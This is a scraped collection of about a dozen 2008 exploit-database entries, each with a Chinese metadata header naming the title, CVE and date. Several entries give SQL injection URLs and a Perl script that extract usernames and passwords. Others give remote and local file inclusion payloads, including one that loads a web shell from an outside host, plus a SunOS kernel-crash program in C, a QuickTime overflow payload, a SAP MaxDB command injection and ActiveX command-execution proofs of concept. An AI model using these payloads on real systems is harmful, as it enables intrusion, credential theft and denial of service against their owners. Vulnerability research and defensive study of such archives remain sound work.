QLWD/code_shield huggingface dataset:
标题: DomPHP 0.81 - 'cat' SQL Injection EDB-ID: 4888 CVE: 2008-6064 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-11 漏洞利用脚本: --==+================================================================================+==--
--==+           DomPHP v0.81 Remote Sql Injection                           +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: DomPHP v0.81 Remote Sql Injection
 Download: http://www.domphp.com/download/cat.php?idcat=1
 Bug: Remote Sql Injection
 Info: DomPHP est un outil de publication entiÃ¨rement modulable et surtout complÃ¨tement personnalisable ! IdÃ©al pour les experts mais aussi pour les novices dÃ©sireux de prÃ©senter un site de qualitÃ©, vous allez crÃ©er votre portail ou site web en quelques clics !
 Visit: http://www.inj3ct-it.org


[*]----------------------------------------------------------

Exploit:

http://[www.example.com]/agenda/index.php?cat=-1+union+select+concat(nomUtilisateur,char(58),passUtilisateur)+from+domphp_utilisateurs+where+id_utilisateur=[UserId]/*

For get the user and password, u must edit [UserId] whit an id number of members. 
The id of admin, is 1 of default. 

Vuln code in /agenda/index.php

[...]

if ($_GET['cat']) {
 $cat = $_GET['cat'];

 if (!$nomcat) {
 $requete5="select nomCategorie from ".$extension."sortircat where id_categorie=$cat";
 $result5=mysql_query($requete5, $link);
 $recherchenomcat=mysql_fetch_object($result5);
        $nomcat = stripslashes($recherchenomcat->nomCategorie);
 }
[...]

There is other more sql injection... 

[*]----------------------------------------------------------

# milw0rm.com [2008-01-11] URL: https://www.exploit-db.com/exploits/4888
标题: QuickTime Player 7.3.1.70 - 'RTSP' Buffer Overflow (PoC) EDB-ID: 4885 CVE: 2008-0234 类型: DOS 平台: WINDOWS 发布日期: 2008-01-10 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  Quicktime Player
              http://www.apple.com/quicktime
Versions:     <= 7.3.1.70
Platforms:    Windows and Mac
Bug:          buffer-overflow
Exploitation: remote
Date:         10 Jan 2008
Thanx to:     swirl for the help during the re-testing of the bug
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Quicktime is a well known media player developed by Apple.


#######################################################################

======
2) Bug
======


The problem is a buffer-overflow which happens during the filling of
the LCD-like screen containing info about the status of the connection.

For exploiting this vulnerability is only needed that an user follows
a rtsp:// link, if the port 554 of the server is closed Quicktime will
automatically change the transport and will try the HTTP protocol on
port 80, the 404 error message of the server (other error numbers are
valid too) will be visualized in the LCD-like screen.

During my tests I have been able to fully overwrite the return address
anyway note that the visible effects of the vulnerability could change
during the usage of the debugger (in attaching mode it's everything
ok).


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/quicktimebof.txt

quicktimebof.txt
HTTP/1.1 404 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxy

  nc -l -p 80 -v -v -n < quicktimebof.txt

and then

  QuickTimePlayer.exe rtsp://127.0.0.1/file.mp3


#######################################################################

======
4) Fix
======


No fix


#######################################################################

# milw0rm.com [2008-01-10] URL: https://www.exploit-db.com/exploits/4885
标题: MTCMS 2.0 - SQL Injection EDB-ID: 4882 CVE: 2008-0280 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-10 漏洞利用脚本: #######################################################################
#                                                                     #
#    ...:::::MTCMS <=2.0  SQL Injection Vulnerbility ::::....         #           
#######################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By :hadihadi

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all iranian hackerz

greetz:to my best friend in the world hadi_aryaie2004
----------
vules:
http://site.com/patch/?a='/**/union/**/select/**/1,concat(0x23,username,0x5f,password,0x23),email,4,5,6,7/**/from/**/users/**/where/**/id=1/*
http://site.com/patch/?a=downloads&cid='/**/union/**/select/**/1,concat(0x23,username,0x5f,password,0x23),email,4,5,6,7/**/from/**/users/**/where/**/id=1/*

-------------------------------------
you can see some thing similar to:
#admin_35a6e23edefc651ef0380b277ce5d709#
Admin@service.com
-------------------------------------
MTCMS contains of other bugs in other pages ;)
& maybe other versions have Vulnerbility too :)

# milw0rm.com [2008-01-10] URL: https://www.exploit-db.com/exploits/4882
标题: vcart 3.3.2 - Multiple Remote File Inclusions EDB-ID: 4889 CVE: 2008-0287 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-11 漏洞利用脚本: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : vcart version 3.3.2
Discovered By   : k1n9k0ng
Scripts site    : http://www.visionburst.com/
Thanks To       : #sekuritionline, #semprol, #bajingan, #mimid, #r.i.p, #x-code, #yogyafree
special To      : adhietslank, sukam, cyberlog, cah_gemblunkz, the_sims, aRiee, letjen, k1tk4t
site            : www.sekuritionline.net
dork        : Powered by "vcart 3.3.2"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

bug found:
"http://www.site.net/index.php?abs_path=[shell]"
"http://www.site.net/checkout.php?abs_path=[shell]"

# milw0rm.com [2008-01-11] URL: https://www.exploit-db.com/exploits/4889
标题: AJchat 0.10 - 'unse' SQL Injection EDB-ID: 4890 CVE: 2008-7210 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-11 漏洞利用脚本: ----[ AJchat Remote Sql Injection using unset() bug ... ITDefence.ru Antichat.ru ]

       AJchat Remote Sql Injection using unset() bug
       Eugene Minaev underwater@itdefence.ru 
    ___________________________________________________________________
   ____/  __ __ _______________________ _______  _______________    \  \   \
   / .\  /  /_// //              /        \       \/      __       \   /__/   /
   / /     /_//              /\        /       /      /         /     /___/
   \/        /              / /       /       /\     /         /         /
   /        /               \/       /       / /    /         /__       //\
   \       /    ____________/       /        \/    __________// /__    // /   
   /\\      \_______/        \________________/____/  2007    /_//_/   // //\
   \ \\                                                               // // /
   .\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
   . \_\\________[________________________________________]_________//_//_/ . .
   
  <?php
  if (isset($_GET["s"])){
  $_GET["s"] = strtoupper($_GET["s"]);
  if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z'){
  // nothing
  }else unset($_GET['s']);
  } 
  ?>
  
  As we can see , $_GET['s'] can include only A..Z characters , in other way script unset() it.
  
  calc.exe s
  5861526=1
  5863704=1
  
  directory.php?s='and 1 = 2 union select concat_ws(char(59),id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

# milw0rm.com [2008-01-11] URL: https://www.exploit-db.com/exploits/4890
标题: DomPHP 0.81 - 'index.php' Remote File Inclusion EDB-ID: 4883 CVE: 2008-0283 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-10 漏洞利用脚本: #########################################################################
         DomPHP v0.81   Remote File Inclusion Vulnerability
#########################################################################


## AUTHOR : H-T Team ( HouSSamix _ ToXiC350  )
## HOME : http://no-hack.net

## Script         : DomPHP
## Version    : 0.81 
## Site         : http://www.domphp.com
## Download    : http://www.domphp.com/download/cat.php?idcat=1

## Vulnerable CODE :
~~~~~~~~~~ /aides/index.php ~~~~~~~~~~~~~~~~~~~~~~
if (isset($_GET['page'])) {
 include($_GET['page'].".html");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


## EXPLOIT :
http://[HOST]/[Path]/aides/index.php?page=http://casavie.net/hack/c99.txt?



## GREETZ  :  CoNaN , RachiDox , DDOS , AND ALL MUSLIMS HACKERS 

Visit : http://no-hack.net && http://tryag.cc/cc

#########################################################################
         DomPHP v0.81   Remote File Inclusion Vulnerability
#########################################################################

# milw0rm.com [2008-01-10] URL: https://www.exploit-db.com/exploits/4883
标题: SunOS 5.10 - Remote ICMP Kernel Crash EDB-ID: 4881 CVE: 2007-0634 类型: DOS 平台: SOLARIS 发布日期: 2008-01-10 漏洞利用脚本: /*
 SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope
 Null Pointer Dereference in Kernel Space
 Seems to work only if attacked in the same network segment,
 maybe because of firewalls/routers in place.
 
 This seems to be the issue described in bid 22323.
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

unsigned char rawData[77] =
{
    0x45, 0xFF, 0x00, 0x4D, 0x0C, 0x52, 0x00, 0x00, 0x7E, 0x01, 0x0C, 0xF2, 0xE0, 0x5A, 0x73, 0x12,
    0xC0, 0xA8, 0x0E, 0x58, 0x08, 0xDE, 0xAE, 0x37, 0x6F, 0x3B, 0x66, 0xA7, 0x60, 0xAA, 0x76, 0xC1,
    0xEC, 0xA7, 0x7D, 0xFA, 0x8A, 0x72, 0x8E, 0xC6, 0xE3, 0xD2, 0x64, 0x13, 0xE7, 0x4D, 0xBC, 0x01,
    0x40, 0x5B, 0x8E, 0x8B, 0xE5, 0xEE, 0x5E, 0x37, 0xDD, 0xC2, 0x54, 0x8E, 0x8D, 0xCE, 0x0C, 0x42,
    0x97, 0xA1, 0x8C, 0x04, 0x8A, 0xC2, 0x6B, 0xAE, 0xE9, 0x2E, 0xFE, 0xD4, 0x4B,
} ;

long resolve(char *host)
{
  struct hostent *hst;
  long addr;

  hst = gethostbyname(host);
  if (hst == NULL)
    return(-1);

  memcpy(&addr, hst->h_addr, hst->h_length);
  memcpy(rawData+16, &addr, sizeof(long));

  return(addr);
}

int main(int argc, char *argv[])
{
  struct sockaddr_in dst;
  long saddr, daddr;
  int s;

  if (argc < 2)
  {
    printf("SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope\n");
    printf("Usage: %s <dst>\n", *argv);
    return(1);
  }

  daddr = resolve(argv[1]);
  saddr = INADDR_ANY;

  memcpy(rawData+16, &daddr, sizeof(long));
//  memcpy(rawData+12, &saddr, sizeof(long));

  dst.sin_addr.s_addr = daddr;
  dst.sin_family = AF_INET;

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  printf("Sending ICMP packet: %s\n", argv[1]);

      if (sendto(s,&rawData,77,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  return(0);
}

// milw0rm.com [2008-01-10] URL: https://www.exploit-db.com/exploits/4881
标题: SAP MaxDB 7.6.03.07 - Remote Command Execution EDB-ID: 4877 CVE: 2008-0244 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-01-09 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  SAP MaxDB
              https://www.sdn.sap.com/irj/sdn/maxdb
              http://www.sap.com
Versions:     <= 7.6.03 build 007
Platforms:    Windows, Linux and Solaris
Bug:          pre-auth remote commands execution
Exploitation: remote
Date:         09 Jan 2008
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


SAP MaxDB is a commercial and widely known and used database.


#######################################################################

======
2) Bug
======


The MaxDB server executes "cons.exe DATABASE COMMAND" through system()
when some special commands are called by the user.
Some of these special commands are "show" and "exec_sdbinfo" and this
last one is just one of the small amount of commands which can be
executed by the unauthenticated users before logging in.

The usage of system() for executing the cons program allows an external
unauthenticated attacker to execute any command he wants on the target
SAP MaxDB server simply passing the "&&" or other patterns for the
execution of multiple commands in the shell.

So it's just enough to use the following SAP command to see the content
of C: on Windows (the bug is naturally exploitable on any other
platform supported by the server):

  exec_sdbinfo && echo dir c:\ | cmd.exe

Then the rest and all the other possibilities of exploiting this
vulnerability are in the fantasy of the attacker...


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/sapone.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4877.zip (2008-sapone.zip)


#######################################################################

======
4) Fix
======


No fix


#######################################################################

# milw0rm.com [2008-01-09] URL: https://www.exploit-db.com/exploits/4877
标题: Tuned Studios Templates - Local File Inclusion EDB-ID: 4876 CVE: 2008-0231 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-09 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG08-001


Application:                    Tuned Studios Templates
Versions Affected:              All
Vendor URL:                     http:/www.tunedstudios.com
Bug:                            Local File Include
Exploits:                       YES
Reported:                       09.01.2008
Date of Public Advisory:        09.01.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Reasearch Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Tuned Studios Templates has Local File Include vulnerability in page phpversion/index.php


Details
*******

Tuned Studios has many templates based on same php code.

Code
****

############################################
 //First check if $page exists
  //With the introduction of PHP 5 we have to capture the $page from the url.
  $page = $_GET['page'];

  if(isset($page) && $page != '')
  {
      //Check if the page $page exists
      if(file_exists($page.'.php'))
      {
           //Now we can include the page.
           include($page.'.php');
      }
      else
      {
           //Page can't be found, include the error file
           include('data/error404.data.php');
      }
  }
############################################

Example:

http://[server]/[installdir]/index.php?page=../../../../../../../[file]%00

About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-01-09] URL: https://www.exploit-db.com/exploits/4876
标题: PHP Webquest 2.6 - Get Database Credentials EDB-ID: 4872 CVE: 2008-0249 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-09 漏洞利用脚本: --==+================================================================================+==--
--==+            PHP Webquest 2.6 Get Database's Credential              +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: PHP Webquest 2.6 Get Database's Credential
 Download: http://phpwebquest.org/descargas/phpwebquest-2.6-international.zip
 Bug: Get Database's Credential 
 Info: PHP Webquest is a free educational software developed in order to help those teachers who want to create their own activities without the need of wrtitng any HTML code or uploading files to a web server. If you want to install it at your schoolâ€™s server, please click on the image of the International Version.
 Dork: "PHP WEBQUEST VERSION " or inurl:"/phpwebquest/" 
 Visit: http://www.inj3ct-it.org


[*]----------------------------------------------------------

Poc: 

The exploit work only if the function system(); is enabled on the server.. because it return a message whit the db credentials..
We can get the file of the backup, and it return this:

<H1>Error ejecutando comando: /usr/bin/mysqldump -u xxx --password=xxx1 --opt xx2</H1>

Where xxx is the mysql login, xxx1 the password and xx2 the name of database.

[*]----------------------------------------------------------

Exploit:

http://[www.example.com]/admin/backup_phpwebquest.php

[*]----------------------------------------------------------

# milw0rm.com [2008-01-09] URL: https://www.exploit-db.com/exploits/4872
标题: Microsoft Rich Textbox Control 6.0-SP6 - 'SaveFile()' Insecure Method EDB-ID: 4874 CVE: 2008-0237 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-09 漏洞利用脚本: <pre><code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>Microsoft Rich Textbox Control 6.0 (SP6) "SaveFile()" Insecure Method</b>
 url: http://www.microsoft.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 <b>Technical details:</b>
 File: RICHTX32.OCX
 ver.: 6.1.97.82

 While this GUID <b>{3B7C8860-D78F-101B-B9B5-04021C009402}</b> is
 killbited, this one <b><font color='green'>{B617B991-A767-4F05-99BA-AC6FCABB102E}</font></b>

 works fine so it is possible, using the "SaveFile()" method,
 to save the content of the rich textbox on a user's pc.
 This can be used to save, overwrite and/or corrupt arbitrary
 files on the system.
 
 It's marked as:
 <b>RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IPersist Safe: Safe for untrusted: caller,data
 IPStorage Safe: Safe for untrusted: caller,data</b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:B617B991-A767-4F05-99BA-AC6FCABB102E' id='test' style='width: 250px; height: 75px'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
  Sub tryMe
   test.Text = "@echo off" & vbCrLf & "cmd.exe /c notepad.exe" & vbCrLf & "echo Hello World!" & vbCrLf & "pause"
   test.SaveFile "C:\shinnai.bat", 1
   MsgBox "Exploit completed!"
 End Sub
</script></span></span></code></pre>

# milw0rm.com [2008-01-09] URL: https://www.exploit-db.com/exploits/4874
标题: PHP Webquest 2.6 - 'id_actividad' SQL Injection EDB-ID: 4867 CVE: 2008-0219 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-08 漏洞利用脚本: #!/usr/bin/perl

# PHP Webquest 2.6 Remote SQL Injection Exploit
# coded by ka0x - D.O.M TEAM 2008
# we are: ka0x, an0de, xarnuz

# download spanish: download: http://phpwebquest.org/descargas/phpwebquest-2.6-espanol.zip
# download english: http://phpwebquest.org/descargas/phpwebquest-2.6-international.zip

# vuln in soporte_horizontal_w.php:

# if ($_GET['id_actividad']!=''){ $id_actividad=$_GET['id_actividad']; }
# $sentencia= "SELECT * FROM actividad WHERE id_actividad=".$id_actividad;

# ka0x@domlabs:~# perl phpwebquest.pl http://127.0.0.1/webquest/
#
# [+] connecting in http://127.0.0.1/webquest/...
# [!] user: ka0x  [!] pass: test [!] e-mail: test@test.com

use strict;
use LWP::UserAgent;

my $host = $ARGV[0];
if ($host !~ /^http:/){ $host = 'http://'.$host; }

 if(!$ARGV[0]) {
    print "\n[x] PHP Webquest 2.6 Remote SQL Injection exploit\n";
    print "[x] written by ka0x - ka0x01[at]gmail.com\n";
    print "[x] usage: perl $0 [host]\n";
    print "[x] example: http://host.com/PHPWebquest\n";
    exit(1);
 }
 
    print "\n[+] connecting in $host...\n";
    my $cnx = LWP::UserAgent->new() or die;
    my $go=$cnx->get($host."/soporte_horizontal_w.php?id_actividad=-1/**/union/**/select/**/1,1,1,1,concat(0x5f5f5f5f,0x5b215d20757365723a20,usuario,0x20205b215d20706173733a20,password,0x205b215d20652d6d61696c3a20,e_mail,0x5f5f5f5f)/**/from/**/usuario/*");
    if ($go->content =~ m/____(.*?)____/ms) {
        print "$1\n";
    } else {
        print "\n[-] exploit failed\n";
}

# milw0rm.com [2008-01-08] URL: https://www.exploit-db.com/exploits/4867
标题: Microsoft FoxServer - 'vfp6r.dll 6.0.8862.0' ActiveX Command Execution EDB-ID: 4873 CVE: 2008-0236 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-09 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>Microsoft FoxServer (vfp6r.dll 6.0.8862.0) Remote Command Execution</b>
 url: http://www.microsoft.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Not much more to say than using "DoCmd()" function, you can run
 applications passed as argument.

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:008B6010-1F3D-11D1-B0C8-00A0C9055D74' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   test.DoCmd "RUN calc.exe"
  End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2008-01-09] URL: https://www.exploit-db.com/exploits/4873